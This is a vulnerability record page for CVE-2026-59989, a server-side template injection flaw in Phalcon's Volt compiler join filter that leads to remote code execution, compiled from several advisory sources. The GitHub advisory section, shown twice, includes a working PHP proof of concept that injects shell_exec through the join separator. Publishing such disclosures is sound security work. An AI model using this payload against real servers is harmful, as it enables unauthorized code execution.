CVE-2026-59989
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.2
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
- Record
CVE-2026-59989- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94, CWE-1336
- Updated
- 2026-11-02
EUVDEUVD-2026-64140
9.2
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
- Record
EUVD-2026-64140- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hrwp-4hh9-c8r8
9.2
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
- Record
GHSA-hrwp-4hh9-c8r8- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94, CWE-1336
- Updated
- 2026-11-02
NVD
9.2
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
- Record
CVE-2026-59989- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-94, CWE-1336
- Updated
- 2026-11-02
OSV
9.2
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
- Record
CVE-2026-59989- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1336, CWE-94
- Updated
- 2026-11-02
OSVGHSA-hrwp-4hh9-c8r8
9.2
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
- Record
GHSA-hrwp-4hh9-c8r8- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1336, CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phalcon/cphalconPackagist |
through 5.15.0 | 5.16.0 |
phalcon/cphalconPackagist |
before 5.16.0, plus listed versions 5.10.05.12.05.9.05.9.15.9.2 Show 45 moreShow less5.9.3v3.0.0v3.0.1v3.0.2v3.0.3v3.0.4v3.1.0v3.1.0-alpha1v3.1.0-alpha2v3.1.1v3.1.2v3.2.0v3.2.1v3.2.2v3.2.3v3.2.4v3.3.0v3.3.1v3.3.2v3.4.0v3.4.1v3.4.2v3.4.3v3.4.4v3.4.5v4.0.0v4.0.0-alpha.2v4.0.0-alpha.3v4.0.0-alpha.4v4.0.0-alpha.5v4.0.0-alpha1v4.0.0-beta.1v4.0.0-beta.2v4.0.0-rc.1v4.0.0-rc.2v4.0.0-rc.3v4.0.1v4.0.2v4.0.3v4.0.4v4.0.5v4.0.6v4.1.0v4.1.1v4.1.2 |
5.16.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59989 is a critical vulnerability (CVSS 9.2) in Phalcon Cphalcon, published August 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in phalcon/cphalcon 5.16.0.
References
github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8
github.com/phalcon/cphalcon/pull/17217
github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd
github.com/phalcon/cphalcon/releases/tag/v5.16.0
nvd.nist.gov/vuln/detail/CVE-2026-59989
github.com/advisories/GHSA-hrwp-4hh9-c8r8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59989.json
github.com/phalcon/cphalcon
Left out here: 47 versions. The JSON record has them.